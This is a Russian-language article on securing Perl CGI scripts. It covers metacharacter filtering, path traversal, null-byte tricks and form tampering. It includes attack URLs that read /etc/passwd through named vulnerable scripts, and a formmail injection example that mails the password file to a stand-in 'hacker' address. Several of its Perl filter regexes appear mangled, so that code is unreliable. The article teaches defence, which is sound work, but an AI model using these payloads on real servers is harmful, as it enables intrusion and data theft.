div.main {margin-left: 20pt; margin-right: 20pt}CGI-скрипты Общая цель CGI-скриптов - позволить посетителю
получать доступ лишь к определенной части информции, находящейся у
вас на сервере. Такое определение сразу должно навести вас на мысли
о безопасности и предотвращения действий, направленных на получение
вашей информации и некорректного вмешательства в работу вашей
системы. Если вы будете достаточно беспечны и легкомысленны в этом
вопросе, вы предоставите посетителям доступ к тем участкам сервера,
которые предпочтительнее было бы скрыть от посторонних глаз. Хотя ни
один web-узел нельзя считать на 100% защищенным, снизить уровень
риска при применении CGI-программ довольно просто. Далее мы
рассмотрим наиболее характерные уязвимости в скриптах и попробуем
свести риск к минимуму. Наиболее часто встречающяяся уязвимость -
это отсутсвие проверки посылаемых скрипту данных на метасимволы
(такие, к примеру, как &;`'"|*?~<>^()[]{}$), что приводит
к выводу скриптом содержимого файла или самого файла, которое
администратор сервера предпочел бы скрыть. Элементарным решением
этой проблемы есть фильтрация вводимого набора символом, выглядящая
на Perl следующим образом: $in =~
s/([;<>*|`&$!#()[]{}:'"n])/\$1/g; По моему
авторы скриптов забывают об этом или не хотят запоминать, т.к. самую
элементарную проверку на символы "/" и ".." до сих пор не
делают. Почему же так важна проверка на метасимволы ? Потому, что
к примеру у вас есть скрипт view.pl (
www.your_host.com/cgi-bin/view.pl ) который показывает какой-то файл
(подобный пример часто встречается в поисковых скриптах и в файлах
различных web-форумов) т.е.
www.your_host.com/cgi-bin/view.pl?site.htm покажет вам
site.htm. Но если мы передадим скрипту запрос
вида www.yor_host.com/cgi-bin/view.pl?../../../../etc/passwd То
данная команда выведет нам в качестве результата файл с паролями
*nix системы. Это происходит из-за того, то скрипт, получая данные
../../.. исполняет команду перехода по директориям. Получается, что
он доходит то корня диска, оттуда переходит в директорию etc/ и
показывает на файл passwd, расположенный там же. $file=s/..//g;
- вот такой маленький кусочек кода perl намного облегчит жизнь
администратора. Вот лишь несколько скриптов, в которых
встречается эта
уязвимость: www.your_site.com/cgi-bin/htmlscript?../../../../etc/passwd www.your_site.com/cgi-bin/shopper.cgi?newpage=../../../etc/passwd www.your_site.com/cgi-bin/Web_Store/web_store.cgi?page=../../../etc/passwd%00ext
Наверное
вы обратили внимание на последний пример. Наверное, у вас возник
вопрос, а что такое за /etc/passwd%00ext. Это тоже один из примеров
уязвимости cgi-скриптов. Но эта уязвимость не столько зависит от
скрипта, сколько от операционной системы. Система неадекватно
реагирует на символ 0.( не только именно на 0, но я привел лишь
самый элементарный пример. К примеру, page.cgi?index.htm покажет
вам документ. А page.cgi?index.htm%00 покажет вам исходный код
документа. Самый простой вариант решения этой проблемы, это
поставить фильтр на этот символ, на perl этот будет выглядеть
примерно так : $insecure_data=~s/ //g;
Также в языке
Perl, добавление символа "|" засталяет программу, которая должна
открывать файл - запустить его. К примеру: open(FILE, "/bin/ls")
- даст вам бинарный код, а если подставить "|" open(FILE,
"/bin/ls|") - будет выполнена команда, в данном случае
ls. s/(|)/\$1/g - такая вставка в Perl-код предотвратит это. (
Perl скажет - 'unexpected end of file').
Также скрипты
активно используются для создания многочисленных списков рассылок и
тому подобных вещей, применяемых для побее тесного взаимодействия
сайта и посетителя. Обычно данные скрипту передаются в виде
html-формы. Злоумышленник может запросто сохранить исходный код
html-формы, модифицировать его, а затем открыть страницу, уже
модифицированую у себя в броузере. Хакер может изменить значения и
имена полей, модифицировать или удалить скрытые поля ( Input
type=hidden ), после чего предьявить форму целевой CGI-программе.
Кроме того, ничто не помешает ему вызвать вашу программу прямо из
коммандной строки браузеоа и передать в нее информацию в строке
запроса. Типичный пример, алгоритм которого вы можете еще
применить во многих других скриптах = это уязвимость в очень старом
скрипте formmail 1.0 Когда скрипт получает данные, он составляет
письмо и, пользуясь полученными данными, дает примерно следующую
команду: $ mail some_email $recipient Предположим, что в
документе html, параметр recipient (hidden) содержит адрес
admin@server.com Тогда в итоге после выполнения всех команд он
завершится посылкой письма по этому адресу командой httpd$ mail
<информация> admin@server.com Но нам ничего не мешает
сохранить документ, немного подредактировать его, добавив свои
команды ( к примеру ";cat /etc/passwd | mail hacker@hacker.com")
и затем отправить данные скрипту. Тогда скрипт все внимательно
обработает, составит письмо м выполнит команду httpd$ mail
<информация> hacker@hacker.com; cat /etc/passwd | mail
hacker@hacker.com Вот и пример формы, выполняющей вышеописанные
действия:
Один из самых простых способов установить,
похищена ли форма - это проверить значение переменной среды
HTTP_REFERER, модержащей URL, из которого была вызвана ваша
программа. Затем это значение следует сравнить с тем, которое должно
быть при вызове программы с допустимой страницы. Если вы, скажем,
хотите, чтобы программа вызывалась только со страниц, URL которых
начинаются с www.server.com/some_file/, то можете поставить в начало
программы что-то вроде этого: if ($ENV{'HTTP_REFERER'}
!=m#^http://www.server.com/some_file/#) {print "Content-Type:
text/plainn403 Forbiddennn"; Но этот метод защиты годится
только в том случае, если хакер не переопределил HTTP_REFERER. Когда
форма предьявляется, ваша программа использует значение поля для
построения пути к файлу (например, /home/hir/hack.htm), а затем
выводит данный файл. Эта возиожность кажется довольно безобидной,
пока хакер не изменит форму таким образом, что она будет содержать
пункт со значением ../../../etc/passwd. Ваша программа сможет взять
это значение, создать путь к этому файлу и вывести passwd в окно
браузера. Этого можно избежать, указав в программе корневую
директорию и сделать так, чтобы все пути к файлам начинались именно
с этого имени каталога. if (file_path !~/^root_directory/) {print
"Invalid file pathn" Вот пожалуй самые распространненые ошибки в
CGI-программах и возможные методы исправления этих ошибок и
повышение безопасности сервера.
|